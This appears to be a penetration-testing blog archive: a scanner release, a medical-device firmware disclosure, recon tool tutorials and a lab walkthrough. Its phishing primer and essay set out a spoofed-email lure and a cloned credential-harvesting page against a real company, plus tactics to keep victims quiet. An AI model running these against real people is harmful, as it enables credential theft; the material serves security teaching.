pen test

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SMBv1 Scanner

Posted by SNM on January 9, 2018
Posted in: Code. Tagged: , , , . Leave a Comment

Recently, I was asked to test all SMB enabled devices on a fairly large network to find any hosts that still supported SMBv1. This was about a month before Nmap released their SMB version enumeration NSE. I quickly threw together a script using Impacket from CoreImpact (https://github.com/CoreSecurity/impacket). The initial script was about 10 lines including the imports, it was slow and only allowed for a single set of hardcoded input files. It was also single threaded so it was slow, about 4 seconds per address, it took almost a full day to complete for each iteration. Testing a patch program using this was untenable.

As we’re huge fans of code re-use I wrapped the script in my tried and true threading modules, re-learned argparse and created a function python program to only negotiate SMBv1 connections to a host. By only performing SMBv1 negotiation and not even including the options to enumerate others I didn’t duplicate the functionality from Nmap and don’t have to worry about false positives.

This script will generate a large amount of ARP requests during testing this is per RFC when connecting to port 139. If stealth is important reduce the threads using the -t option. Happy hunting and enjoy scanning for SMBv1.

We have added the repo to our GitHub https://github.com/SecureNetworkManagement/smbv1Scanner

smbv1Scanner.py requires netaddr, pycrypto and impacket
Install with:
 pip install pycrypto
 pip install impacket
 pip install netaddr
 
Usage:
python smbv1Scanner.py [*options]
usage: smbv1 scanner [-h] [-i INPUT [INPUT ...] | -f FILE] [-t THREADS]
 [-o OUTPUT] [-v]

******* * * * * * * * Check SMB for Version 1 Support * * * * * * * *******

optional arguments:
 -h, --help show this help message and exit
 -i INPUT [INPUT ...], --input INPUT [INPUT ...]
 IP Address in CIDR Notation
 -f FILE, --file FILE file containing list of IPs to check
 -t THREADS, --threads THREADS
 Number of Threads
 -o OUTPUT, --output OUTPUT
 Output File Name
 -v, --version show program's version number and exit

******* * * * * * * * * * * * * * * * * * * * * * * * * *******

Weaponized Boredom

Posted by SNM on June 30, 2017
Posted in: Tutorials, Vulnerability Disclosure. Tagged: , , , . 8 comments

I recently had an appointment at an ophthalmologist and because it was in New Mexico, where appointments mean nothing and linear time isn’t a thing, I had a long wait in the exam room. Stay with me I swear we are going to pen test some stuff. Most of the equipment in the room was from Welch-Allyn so why not take a look at their stuff to see how secure my data would be.

I’m not an amazing reverse engineer; it is on my list of things to improve so I took this opportunity to dig into some firmware upgrades. I’ve looked through firmware in the past and decompiling binary files never got me any results.

I was able to find the firmware for the Welch-Allyn RETeval-DR, it isn’t sold in the United States but the file was available for download without authentication.

https://www.welchallyn.com/content/dam/welchallyn/documents/upload-docs/RETeval/reteval-2.5.0.fw

Welch Allyn RETeval-DR™ Firmware
Version 2.5.0 | November 11, 2015
System requirements: Windows XP, Windows 8 and all previous versions
File type: .fw | File size: 35.2 MB

I used the ‘file’ command to learn some things about the .fw file type.

root@kali:~/Desktop/RETeval-DR# file reteval-2.5.0.fw 
reteval-2.5.0.fw: Zip archive data, at least v2.0 to extract

Zip archive, I know what to do with those. At this point I assumed that this was going to be another binary fine and wasn’t super excited. Extracting the contents of the zip file reveals a bunch of .img files and an install.sh script.

.fw File Contents

.fw File Contents

My first thought was that the install.sh file might contain a login of some sort or some other sensitive data. The script contains some checksum validation and uses dd to write the images to disk. A very helpful piece of text is the offsets for each file are directly after the seek= .

dd offset values

dd offset values

I mounted the rootfs.img and poked around the file system.

root@kali:~/Desktop/RETeval-DR/reteval-2.5.0/data# mount -t auto rootfs.img mnt/
root@kali:~/Desktop/RETeval-DR/reteval-2.5.0/data# cd mnt
root@kali:~/Desktop/RETeval-DR/reteval-2.5.0/data/mnt# ls
bin  boot  dev  etc  lib  lib32  linuxrc  lost+found  media  mnt  opt  proc  root  run  sbin  sys  tmp  usr  var

root@kali:~/Desktop/RETeval-DR/reteval-2.5.0/data/mnt/etc# cat passwd
root:x:0:0:root:/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
operator:x:37:37:Operator:/var:/bin/sh
haldaemon:x:68:68:hald:/:/bin/sh
dbus:x:81:81:dbus:/var/run/dbus:/bin/sh
ftp:x:83:83:ftp:/home/ftp:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh
sshd:x:103:99:Operator:/var:/bin/sh
root@kali:~/Desktop/RETeval-DR/reteval-2.5.0/data/mnt/etc# cd shadow
bash: cd: shadow: Not a directory

root@kali:~/Desktop/RETeval-DR/reteval-2.5.0/data/mnt/etc# cat shadow
root::10933:0:99999:7:::
bin:*:10933:0:99999:7:::
daemon:*:10933:0:99999:7:::
adm:*:10933:0:99999:7:::
lp:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
shutdown:*:10933:0:99999:7:::
halt:*:10933:0:99999:7:::
uucp:*:10933:0:99999:7:::
operator:*:10933:0:99999:7:::
ftp:*:10933:0:99999:7:::
nobody:*:10933:0:99999:7:::

Pretty sure this means that the root password is blank…OPSEC 101. Almost 90% of penetration testings is asking yourself ‘What would happen if I did this?’ So, What would happen if I wrote that to a new disk on a virtual machine?

VMWare Blank Drive

VMWare Blank Drive

 

/dev/sdb added

/dev/sdb added

We will need to install pv for the installation to work, pv monitors progress of data and as data gets piped to it directly after it is unzipped and before it gets to the dd command in the install script. Also, we need to make the script executable before we try to use it.

root@kali:~/Desktop/RETeval-DR/reteval-2.5.0# apt-get install pv
<Redacted the install text>
root@kali:~/Desktop/RETeval-DR/reteval-2.5.0# chmod +x install.sh 
root@kali:~/Desktop/RETeval-DR/reteval-2.5.0# ./install.sh --help
arguments:
  -a <archive name> (required)
  -b update boot loader too
  -d <destination> (required)
  -f fresh install (on PC)
  -n numeric progress
  -v print firmware version
examples:
  First time programming: -a firmware.fw -f -d /dev/sdc
  Firmware update: -a firmware.fw -d /dev/mmcblk0
root@kali:~/Desktop/RETeval-DR/reteval-2.5.0# ./install.sh -a ../reteval-2.5.0.fw -n -f -d /dev/sdb
<Redacted the install text>
/dev/sdb after dd

/dev/sdb after dd

I used fdisk /dev/sdb to set the bootable flag on partition 1 (/dev/sdb1).

fdisk Set Bootable

fdisk Set Bootable

I couldn’t get it to boot independently in a VM and I couldn’t get sdb3 or sdb4 to mount in my Kali Linux box. I tried to use the -t auto and it failed, I also tried every Linux type that I could with no luck. Oh, well. In a few minutes we found the default password for the device and determined if we could boot the drives up in VM. Not bad for an eye appointment.

Disclosure Notice: We contacted Welch-Allyn on May 17, 2017 and notified them of the issue. As of June 30th they had not given me any feedback about mitigation status so I am releasing this. Forty five days is more than enough time to mitigate this vulnerability.

Recon-ng Tutorial – Part 3 Usage and Reporting

Posted by SNM on May 3, 2017
Posted in: Tutorials. Tagged: , , , . 4 comments

Inventory

Let’s take inventory of the information we now have and decide where we will go from here.

Information Inventory

Figure 1 – Information Inventory

Using Modules

The three commands we used (show domains, show contacts, and show companies) will help us to decide which modules to use. The show modules command will display a list of modules to choose from.

show modules
show modules

Figure 2 – show modules

As a quick note for looking at the modules, the “-” delimiter divides the module into, “what you have and what you want”. So your command would look something like this: use I have recon/domains I want hosts/shodan_hostname

use recon/domains - hosts/shodan_hostname
recon-ng to shodan module

Figure 3 – recon-ng to shodan module

The red text indicates that an error occurred when running the module. The green text indicates the new elements added to the database.

shodan summary

Figure 4 – shodan summary

The module added hosts so using the show hosts command will show the additions.  Notice that we also have ports as well.

show hosts
show hosts results

Figure 5 – show hosts results

Notice this command displays the row id, the host, the ip address, and the module that was used.

show ports
show ports results

Figure 6 – show ports results

Remove Unwanted Entries

If we wanted to stay in the .com domain, we need a way to remove the .hk and other domains.

help delete
help delete results

Figure 7 – help delete results

Remember show ports was the last command we ran so ports was the table we viewed. Running the show ports command again shows that the selected rows were removed ONLY for the ports table. To validate the command worked we will check the table again.

show ports
Cleaned ports table

Figure 8 – Cleaned ports table

The .hk domains are still present in the hosts table.  You will need to remove them from each table.

show hosts
show hosts results

Figure 9 – show hosts results

Exporting Data and Report Generation

Now that we’ve imported data from an outside source, ran several modules inside recon-ng, and we’ve even deleted data from the database, it’s time to create our report.  There are lots of options to choose from. The search reporting command gives us our choices.

search reporting
search reporting results

Figure 10 – search reporting results

The show dashboard command allows us to look at the modules used and the number of times they’ve been ran.  We can also see the amount of information inside the database.

show dashboard
show dashboard results

Figure 11 – show dashboard results

Some of the modules I ran were not in this tutorial.  From Figure 11 you can see all the modules used. Figure 12 is a continuation of the show dashboard command.  Here you can see the information that is captured in the database.  This also makes it easier for creating a report or exporting information.

show dashboard summary

Figure 12 – show dashboard summary

Exporting Data

We will use the reporting/list module to create a list of IP addresses to use in nmap.  This will tie in several things we’ve already covered.

  • Search for modules
  • Show options
  • Schema command
  • Set command

We will also use Nmap to scan for port 80.

search reporting
search reporting

Figure 13 – search reporting

use report/list
show options
report/list options

Figure 14 – report/list options

We will run the show schema and only show the truncated results so we can get the table schema.

show schema
show schema

Figure 15 – show schema

Next, use the set command to give recon-ng the file location.

set FILNAME /location/on/file/system
set file location

Figure 16 – set file location

Finally, run and let recon-ng generate the results. The screenshot is truncated so you can get an idea of what it looks like, your mileage may vary.

run
Report Results

Figure 17 – Report Results

<<Truncation Occurs>>>

Report Summary

Figure 18 – Report Summary

Using export_iplist.txt as input for our Nmap scan.

  • -iL input list filename
  • -p 80 port to scan
  • -Pn No Ping
nmap -iL export_iplist.txt -Pn -p 80
Nmap port 80 scan

Figure 19 – Nmap port 80 scan

Create Report

This section will show you how to create an HTML report using the same data set.

use reporting/html
show options
set CREATOR Pentester
set COMPANY United Airlines
report/html

Figure 20 – report/html

set options for report

Figure 21 – set options for report

We used the set command to add the creator and the customer properties for our report. Use the run command to execute the module.

run
generate report

Figure 22 – generate report

Not too exciting but we have our report waiting for us in the .recon-ng folder.

Report location

Figure 23 – Report location

Lets look at that file using a browser.

File Browser

Figure 24 – File Browser

HTML Report Example

Figure 25 – HTML Report Example

The next set of figures will show the expanded results for the Summary, Domains, and Locations sections.

Summary Section

Figure 26 – Summary Section

Domains Section

Figure 27 – Domains Section

Locations Section

Figure 28 – Locations Section

The Contacts section we could have done a more with the information here.  One thing I like to do is us with this information is expand using the  https://pipl.com website. Using Pipl we could really dig into who any of the individuals are to create more effective spear phishing attacks or sales calls. Who are we kidding? We don’t do sales calls.

Contacts Section

Figure 29 – Contacts Section

Look through the Vulnerabilities section. We haven’t even started a technical vulnerability assessment and we already have a place to start. OSINT for the win!

Vulnerabilities Section

Figure 30 – Vulnerabilities Section

Vulnerabilities Section 2

Figure 31 – Vulnerabilities Section 2

Conclusion

In this tutorial we covered Recon-ng.  It can be found at https://bitbucket.org/LaNMaSteR53/recon-ng.  I really enjoy working with this tool.  Just playing with it can give you a better understanding of other ways to gather information about your target.  It really becomes about bread crumbs. How deep can you dig into a company, email address, or person?

Areas we covered:

  • Installation
  • Adding API Keys
  • Creating a Workspace
  • Importing information into the database “ Grep and Awk commands”
  • Using Modules
  • Removing unwanted entries
  • Exporting Data “ to use with nmap”
  • Creating Reports

Phishing Primer

Posted by SNM on May 1, 2017
Posted in: Tutorials. Tagged: , , , . 1 comment

This primer covers sending spoofed emails from an online service with a link to a clone credential harvesting site.  SET provides a clean, menu-driven interface for website cloning and automates the process. Using sendmail directly is also an option in SET; it requires a single change to the configuration and a mail relay to function correctly.

We will again use the Hackerone directory to identify a company but WILL NOT be sending phishing emails to them. This would be really bad form and potentially illegal. For this, we are going to pick on a known antivirus and security company, Kaspersky. Kaspersky was basically chosen because it is a large enough organization that we should be able to find a decent page to clone, and there should be enough email addresses in the wild to generate a list from a few different places.

Email Target List

The heart of any successful phishing campaign is the list of targets. Normally we would use recon-ng to build this list, but in this tutorial, we will do a few manual processes to show other methods. These can absolutely be automated, but for now lets do it the hard way.

From pastebin.com, I searched for “@kaspersky.com -license”. This is because the top pastes were all license key dumps, and I was specifically looking for emails.

Pastebin Link 1 - https://pastebin.com/9iJCHRKt
Pastebin Link 2 - https://pastebin.com/xgq3tP2C

I threw the entire raw contents of the data in a text file, lets look in a few other places. We have already used theHarvester to find email addresses in the recon-ng tutorial, so let’s also use and put the results in the same text file.

root@kali:~/Desktop# theharvester -d kaspersky.com -b all

We need to quickly pull out and de-duplicate the email addresses. This isn’t an issue with theHarvester but the pastebin data isn’t structured.

root@kali:~/Desktop# grep @kaspersky.com kasperskyRawEmails.txt > kasperskyEmail.txt
root@kali:~/Desktop# leafpad kasperskyEmail.txt
root@kali:~/Desktop# sort -d kasperskyEmail.txt > kasperskyEmailSorted.txt
root@kali:~/Desktop# sort -u kasperskyEmailSorted.txt > kasperskyEmail.txt

I used leafpad to clean up a few lines that had extra data. If there were more than a handful, I would have written a sed or awk script to clean it up, but with just a few, it was just as quick to do it manually. I sorted it with the -d option to put them in alphabetical order then -u to get rid of any duplicates. More importantly, by looking at the email addresses, we can easily guess anyone’s email in the company because they follow the first.last@kaspersky.com. A quick LinkedIn search of people who work at Kaspersky would provide us with another list. Personally, I would remove Eugene Kaspersky from the list since he is the founder, but hey, do what you want. In a normal penetration test, most companies would ask to approve the list and remove or add people as they see fit. For reporting reasons, running a wc -l against this list once approved will give you the number of emails. From these three searches, we have 142 unique targets.

While in the list, it is always good to look through and remove any email that is generic or does not direct to an actual person. Examples would be hr@kaspersky.com or support@kasperksy.com. Also and more importantly, remove anything that will get you caught. I hate to say this, but do not attempt to phish spam@ or abuse@ addresses; if it does work, you probably get extra h4x0r cred, though.

Baiting the Hook

To figure out who to spoof, I went on LinkedIn and searched for IT Support in the United States for Kaspersky. I’ve redacted the person’s name, but it is plausible that this person would send out an email about a website,  and since the email will be in English, that shouldn’t be a huge red flag. Sending out an email from an employee in the Russian Federation written in English should raise questions. Writing it in English and attempting to emulate a translation from Russian may work, as well.

Spoofed From Account

Spoofed From Account

Next, we need to identify a website to clone. We need a login on this page to spoof, so first we will use fierce to identify potential sub-domains.

root@kali:~/Desktop# fierce -dns kaspersky.com

I looked through the fierce results and settled on https://g.kaspersky.com for the page to be cloned. I like the simple page layout, so there are less chances for the clone to go wrong and log into a support page based on the title. VPN and Outlook Web Access (OWA) are normally my favorite pages, but occasionally, the clone needs to be massaged to make it look normal.

Next, let’s work on the Subject and Body of the email message.

Subject: Support Bot Login Page Test

Body:
All, We are testing the new login page for support bot at g.kaspersky.com. The old page had some certificate errors that prevented some users from reaching it so please let us know if this is still happening and also test that your password still works before the new systems goes live (http://192.168.2.131/login). Let me know if you have any problems.

Regards,

Spoofed IT Guy

Reading the email, we need to address a few things. First, is the certificate error that we get going to the real site? This is one of the many reasons why it is important to NOT train your users to click through certificate errors. Also, mixing a little bit of truth in with the lie helps to make it more effective.

Certificate Error

Certificate Error

Second, ask them to log into the page and contact us if there are any errors. Because we will be using a spoofed email and not a fake email address, this adds a little bit of risk that someone will respond and either confuse the IT staff or alert them to the phishing campaign that is underway. Spend some time thinking and crafting the email message to work for the company you’re testing.

We will use SET to clone the website and harvest credentials. The ***** indicates that I’ve redacted the screen text and have only shown the option to choose.

root@kali:/opt/social-engineer-toolkit# setoolkit
 *****
 Select from the menu:

1) Social-Engineering Attacks
 2) Penetration Testing (Fast-Track)
 3) Third Party Modules
 4) Update the Social-Engineer Toolkit
 5) Update SET configuration
 6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

set> 1
 *****
 Select from the menu:

1) Spear-Phishing Attack Vectors
 2) Website Attack Vectors
 3) Infectious Media Generator
 4) Create a Payload and Listener
 5) Mass Mailer Attack
 6) Arduino-Based Attack Vector
 7) Wireless Access Point Attack Vector
 8) QRCode Generator Attack Vector
 9) Powershell Attack Vectors
 10) SMS Spoofing Attack Vector
 11) Third Party Modules

99) Return back to the main menu.
 *****
 set> 2
 1) Java Applet Attack Method
 2) Metasploit Browser Exploit Method
 3) Credential Harvester Attack Method
 4) Tabnabbing Attack Method
 5) Web Jacking Attack Method
 6) Multi-Attack Web Method
 7) Full Screen Attack Method
 8) HTA Attack Method

99) Return to Main Menu

set:webattack>3
 *****
 1) Web Templates
 2) Site Cloner
 3) Custom Import

99) Return to Webattack Menu

set:webattack>2

[-] Credential harvester will allow you to utilize the clone capabilities within SET
 [-] to harvest credentials or parameters from a website as well as place them into a report
 [-] This option is used for what IP the server will POST to.
 [-] If you're using an external IP, use your external IP for this
 set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.2.131

The address is either for the local host (in this case) or for the server that will be hosting the web servers external interface. (NOTE: We are currently watching this thread https://github.com/trustedsec/social-engineer-toolkit/issues/289, if a fix gets posted for the OpenSSL/PEM file issue we will update this)

[-] SET supports both HTTP and HTTPS
 [-] Example: http://www.thisisafakesite.com
 set:webattack> Enter the url to clone:https://g.kaspersky.com/login

[*] Cloning the website: https://g.kaspersky.com/login
 [*] This could take a little bit...
 Python OpenSSL wasn't detected or PEM file not found, note that SSL compatibility will be affected.
Cloned Site

Cloned Site

Real Site

Real Site

If you wanted to add SSL support to improve the quality of the attack, SET absolutely supports it with a few changes. And https://letsencrypt.org will allow you to get free SSL certificates. I’ve highlighted the differences in the preceding images.

[*] Printing error: zipimporter() argument 1 must be string, not function

The best way to use this attack is if username and password form
 fields are available. Regardless, this captures all POSTs on a website.
 [*] The Social-Engineer Toolkit Credential Harvester Attack
 [*] Credential Harvester is running on port 80
 [*] Information will be displayed to you as it arrives below:
 192.168.2.1 - - [27/Apr/2017 16:11:47] "GET / HTTP/1.1" 200 -

Now, we send out bait and see who we can catch.

 Set the Hook

We have used a couple different email spoofing services and have recently settled on Sharpmail.co.uk. They work well, and they don’t get blacklisted in mail servers. It is a paid server; though, if you want premium features such as removing the tag line at the bottom or sending SMS messages. Below is a screen showing how to send messages in Sharpmail; there is an argument to be made that putting a few of the addresses together in the To: line would make it more believable, but for now, they are all in the BCC: line.

Sharpmail Example

Sharpmail Example

Finally, we would send this email out and simply wait to see who got hooked.

SET has a nice live update when credentials are captured and also packages up a report at the end.

Live Output

Live Output

HTML Report

HTML Report

From here it would depend on what the client requests. Do you use these credentials to attempt further exploitation or just produce the report? Your testing might be done, or you could have potentially generated a bunch of additional work for yourself.

FIN

Phish Stories

Posted by SNM on April 25, 2017
Posted in: Tutorials. Tagged: , , , . Leave a Comment

I’ve conducted phishing campaigns at many different companies. Overall, I probably have a 10% success rate. Some were a little higher and some a little lower. That doesn’t sound too impressive, right? How many successes does it take to compromise a network? One. One user clicking on a link in an email exposes the entire network. So, for most companies, I got significantly more than that one success. How did I do it? More importantly, what tricks do I have up my sleeve that other penetration testers could steal? At almost every conference you will see a talk on some super sweet post-exploitation tool or privilege escalation technique if you can talk to the speaker 9 times out of 10 they gained initial network access through phishing. Phishing is the dirty pen testing secret that we all do but nobody wants to talk about because it isn’t nearly as cool as remote code execution.

Finding Targets

Generally, there are two methods for generating lists for phishing campaigns: either the client will provide you a list (which is boring) or you can find valid targets and get the list approved. Where can you find valid targets? I consider a valid target any email address already exposed on the internet.

  • Recon-ng
  • Linkedin
  • Pastebin
  • Google
  • FOCA
  • Web content

In the future, we will look at each of these methods in depth, but for now, let’s just assume you have a list.

Sending Emails

The FROM line in the address is just as important as the TO. Are you sending a fairly generic phishing email hoping to get a few clicks? If so, your success rate is going to be fairly low. For a company without security awareness training in place, this might be appropriate, but most tests are meant to be more sophisticated. I am going to show you how I make the sausage; fair warning, it isn’t pretty.

If you are going for a generic attempt without a spoofed email address, you can try to get an email address from any of the normal providers like Gmail or Outlook. Registering an email that looks at least semi-plausible will help. Outlook has a built-in limitation for new accounts to restrict the number of emails sent until the account ages or milestones are met (such as phone number verification). Also, filling in the display name and information to seem legitimate will increase the chance of success. CompanyHelpDesk@gmail is better than PhishingAttempt6@yahoo.

If you are allowed to spoof email addresses, a few better options are available. Setting up sendmail and sending everything through Social-Engineering Toolkit (SET) is a great option. Using a webmail service that allows spoofed emails is also a great option and protects your fixed IP from being banned for email abuse. It is also smart to pay the small fee that allows the footer to be removed. If you are performing a penetration test, it is the cost of doing business. I personally like using Sharpmail out of the UK but have used a couple other servers, as well. Sharpmail has SMS functionality, which I have used on assessments in the past.

Everyone has seen poorly crafted phishing emails signed Help Desk, so you need to step up your game and do some research. Find the company on Linkedin, and figure out who the IT person is. Getting an email from a help desk address signed Gary when employees know there is an IT person named Gary is way more convincing. The correct tone is important too, as a busy help desk person sending a curt email stating, ‘We are testing a new web server for email, can you log in and test it? -Gary‘ is more believable than a two-paragraph, formal-sounding email. I rarely even hide my URL behind a link for the same reason; I wouldn’t do that as a systems administrator in a company and want them to be believable.

Some clients will also want you to get the email text and targets approved. I’ve had to add typos and dumb down my emails for clients who wanted to make it easier to be spotted. Those assessments are the best because you can almost guarantee success if even their employers think they are going to click on anything. Most of these assessments will come shortly after the company has been breached by a phishing attack.

Microsoft Outlook Web Access or a VPN login page are my two favorite sites to clone in SET. We will conduct a primer on SET soon, but for now, just know that I use the clone website function with the capture credentials module. I’ve used Browser Exploitation Framework (BeEF) in the past, but keeping it simple usually works better.

Now What?

The first time I was assigned a phishing campaign, I had no idea what to do. I fired up SET but didn’t have sendmail installed and configured. The client for that assessment wanted multiple tests done. Not only was it testing employee awareness, it was testing the email security appliance in place. Sendmail took me most of the day to get set up and start sending emails. Let’s just say that it did not go well; the appliance blocked all my spoofing attempts and having an included URL hidden behind link text tripped the heuristics, with the end result being the end users didn’t even get the attempts. Not only that, but because I worked from home, the IP I paid for from my ISP got blacklisted for sending spam.

What lessons did I learn? One, I rarely use my own sendmail account anymore. Two, I’ve gotten simpler in my messages. Three, I respond to replies. What? That’s right, when your login fails on the credential harvesting site I’ve created and you reply to the email complaining, I’ll tell you I’m working on it and that I will let you know when it’s fixed. Why? So that you don’t tell other people you’re having a problem and potentially prevent them from giving me their credentials. Sneaky right?

Reporting on phishing is simple; we normally produce a statistics-based report that shows how many credentials were gathered versus the number of emails sent. We avoid giving specific names, which clients always want, because it is normally a systemic issue, not a user issue. We have performed custom redirects, after credential harvesting, to a site that forces users to complete a short training on phishing awareness.

Pulling it All Together

Now that you have read this tradecraft on phishing, you may be asking, “what are the next steps?” Next, we are going to create some primers on setting up phishing campaigns using sendmail and Sharpmail and using SET to clone a website and harvest credentials. This simply gave you a glimpse into the mindset of how we think about attacks and some of the pitfalls encountered.

dmitry Primer

Posted by SNM on April 21, 2017
Posted in: Tutorials. Tagged: , , , , , . Leave a Comment

For quite some time fierce was my go to DNS testing tool, we even wrote a post on it, and I still use it extensively but recently I have been using dmitry in parallel. dmitry is the Deepmagic Information Gathering Tool and while it doesn’t have the subdomain brute force functionality that I love in fierce it automates other functions that I never realized I was tired of doing manually.

Why do we spend so much time on DNS? A companies DNS server is a gold mine of information during a penetration test. This is especially true if organizations that have an improperly configured split view DNS where internal records are exposed externally. It is also pretty common to find test, development, or integration servers that have been exposed in DNS and then forgotten about. Why spend all of your penetration testing efforts on the fully patched and hardened server when the test server from 2006 is available. DNS helps find the path of least resistance. Once again we will be using the hackerone directory to demonstrate this tool on real world systems. For dmitry I chose marktplaats.nl.

root@kali:~# dmitry -h
Deepmagic Information Gathering Tool
"There be some deep magic going on"

dmitry: invalid option -- 'h'
Usage: dmitry [-winsepfb] [-t 0-9] [-o %host.txt] host
  -o     Save output to %host.txt or to file specified by -o file
  -i     Perform a whois lookup on the IP address of a host
  -w     Perform a whois lookup on the domain name of a host
  -n     Retrieve Netcraft.com information on a host
  -s     Perform a search for possible subdomains
  -e     Perform a search for possible email addresses
  -p     Perform a TCP port scan on a host
* -f     Perform a TCP port scan on a host showing output reporting filtered ports
* -b     Read in the banner received from the scanned port
* -t 0-9 Set the TTL in seconds when scanning a TCP port ( Default 2 )
*Requires the -p flagged to be passed

We are going to simply step through the options with a brief description and talk about what information would be useful during different phases of a pen test.

-i and -w perform a whois lookup in a slightly different way. We will combine them together to get an IP address and a whois lookup at the same time. For our primer the domain name would probably be the preferred start point but if you only had an IP address to start with the -i option would get the same results. I’ve used dmitry to track down the source of a brute force attack on an internet facing system. It wasn’t very amazing it was a compromised host in a medium size company.

Whois Lookup

Figure 1 – Whois Lookup

I’ve redacted the screenshot since whois reports are fairly extensive. But we know that the IP address we are working on is 91.211.72.194 and it is part of the 91.211.72.0/22 subnet. We also know that it is part of RIPE the regional internet registry that includes Europe. Which makes since because they are out of the Netherlands.

Next we will get the netcraft.com information for the domain. Netcraft is an internet security firm out of the UK which does anti-spam and anti-phishing work. We learn two things from the -n option. First, they are reputable enough to not have been reported for spam/phishing and second, that the IP address for the system changed so they probably have a load balancer or are hosting from multiple locations. This also makes sense.

Netcraft Report

Figure 2 – Netcraft Report

Lets use the -s option to look for subdomains. This isn’t super interesting but at least it has a few that we could look at if we were testing the entire domain.

Subdomain Search

Figure 3 – Subdomain Search

The -e option is useful for starting phishing attacks or feeding information into recon-ng, which we also have a tutorial on (hint, hint). This specific test was super anti-climatic but you get the idea.

Email Search

Figure 4 – Email Search

dmitry also has a built in port scanner, I like the banner enumeration function so I normally stack the -b option onto the -p port scan option.

Port Scan

Figure 5 – Port Scan

Wow, that is a lot of step. Why wouldn’t you just stack all those into one and write it out to a file instead? Because then how would this whole primer be longer than one page? The last screenshot is how I actually use it and I read out of the file instead of off the screen.

Combined Testing

Figure 6 – Combined Testing

marktplaats.nl was a boring choice for this tool but with luck whatever domain you point it at will be fruitful.

De-ICE S2.100 Walkthrough

Posted by SNM on April 20, 2017
Posted in: Tutorials. Tagged: , , , . Leave a Comment

I had never done the S2 LiveCD; honestly I didn’t know it existed until I was looking for the download links for the series 1 set. This is basically a clean up to date walkthrough using Kali. All of the spoilers are in the walkthrough as not to ruin the pen testing fun. Have fun and hopefully these are helpful.

SE-ICE S2.100

Download Link: https://download.vulnhub.com/deice/De-ICE_S2.100_%28de-ice.net-2.100-1.0%29.iso

Scenario: The scenario for this LiveCD is that you have been given an assignment to test a company’s 192.168.2.xxx network to identify any vulnerabilities or exploits. The systems within this network are not critical systems and recent backups have been created and tested, so any damage you might cause is of little concern. The organization has had multiple system administrators manage the network over the last couple of years, and they are unsure of the competency previous (or current) staff.

Default IP: 192.168.2.100

Flags:
1. Port scan host and create list of open ports
2. Obtain access to file system
3. Perform post exploitation
4. Rummage about in the file system
4. FINAL FLAG: Find salary and Social Security Information for employees

Spoilers and Walkthrough

Using netdiscover to find the potential addresses I found the .100 and .101 addresses active.

root@kali:~# netdiscover

 Currently scanning: 192.168.4.0/16   |   Screen View: Unique Hosts            
                                                                               
 5 Captured ARP Req/Rep packets, from 5 hosts.   Total size: 300               
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.2.1     00:50:56:c0:00:08      1      60  Unknown vendor              
 192.168.2.2     00:50:56:f0:ee:65      1      60  Unknown vendor              
 192.168.2.100   00:0c:29:1f:c6:f0      1      60  Unknown vendor              
 192.168.2.101   00:0c:29:1f:c6:f0      1      60  Unknown vendor              
 192.168.2.254   00:50:56:fe:3a:17      1      60  Unknown vendor

I’ll start by creating a metasploit workspace and doing a port scan of the host. The name for the workspace is terrible but since I didn’t know that I would be differentiating between series 1 and 2 but it works.

workspace -a de-ice2-100
workspace de-ice2-100
db_nmap -T5 -p 0-65535 -A 192.168.2.100-101

I have had great success in numerous penetration tests with data in FTP so I will start there. Personally I like to use the filezilla GUI, I know that goes against everything that makes pen testing fun so feel free to use the command line. The anonymous user doesn’t perform a directory listing or show any files so lets dig into the vsftpd service. Searchsploit is the local version of the exploit-db database with the added benefit of not having to click on the CAPTCHA box.

root@kali:~# searchsploit vsftp
--------------------------------------------- ----------------------------------
 Exploit Title                               |  Path
                                             | (/usr/share/exploitdb/platforms/)
--------------------------------------------- ----------------------------------
vsftpd 2.0.5 - 'CWD' Authenticated Remote Me | linux/dos/5814.pl
vsftpd 2.3.2 - Denial of Service             | linux/dos/16270.c
vsftpd 2.0.5 - 'deny_file' Option Remote Den | windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Den | windows/dos/31819.pl
vsftpd 2.3.4 - Backdoor Command Execution (M | unix/remote/17491.rb
--------------------------------------------- ----------------------------------

Nothing specific for that version and mostly denial-of-service attacks so for now we can move on. Lets see what mischief we can get into with the web site. From the website directory we can harvest a list of users and email addresses for use later. In a real-world penetration test this would be the start for a well orchestrated phishing campaign.

Samuel Pickwickpickwick@herot.net
Nathaniel Winklewinkle@herot.net
Augustus Snodgrasssnodgrass@herot.net
Tracy Tupmantupman@herot.net
Sam Wellerweller@herot.net
Tony Wellertweller@herot.net
Estella Havishamhavisham@herot.net
Abel Magwitchmagwitch@herot.net
Philip Pirrippirrip@herot.net
Nicholas Nicklebynickleby@herot.net
Ralph Nicklebyrnickleby@herot.net
Newman Noggsnoggs@herot.net
Wackford Squeerssqueers@herot.net
Thomas Pinchpinch@herot.net
Mark Tapleytapley@herot.net
Sarah Gampgamp@herot.net
Jacob Marleymarley@herot.net
Ebenezer Scroogescrooge@herot.net
Bob Cratchitcratchit@herot.net
Bill Sikessikes@herot.net
Jack Dawkinsdawkins@herot.net
Noah Claypoleclaypole@herot.net

The .101 website looks like a generic policy site so lets dig deeper into bother of them. Nikto finds some generic problems with the server but nothing that is immediately exploitable.

nikto -h 192.168.2.100
nikto -h 192.168.2.101
+ OSVDB-3268: /~root/: Directory indexing found.
+ OSVDB-637: /~root/: Allowed to browse root's home directory.

Lets rummage around in that directory. Nada.

During the Nmap scan we found out that the SMTP server has the VRFY verb enabled allowing us to determine potential user accounts for a brute force attack. The list is fairly simple, last name only, first name only, and first initial last name.

Pickwick
Winkle
Snodgrass
Tupman
Weller
Weller
Havisham
Magwitch
Pirrip
Nickleby
Nickleby
Noggs
Squeers
Pinch
Tapley
Gamp
Marley
Scrooge
Cratchit
Sikes
Dawkins
Claypole
Samuel
Nathaniel
Augustus
Tracy
Sam
Tony
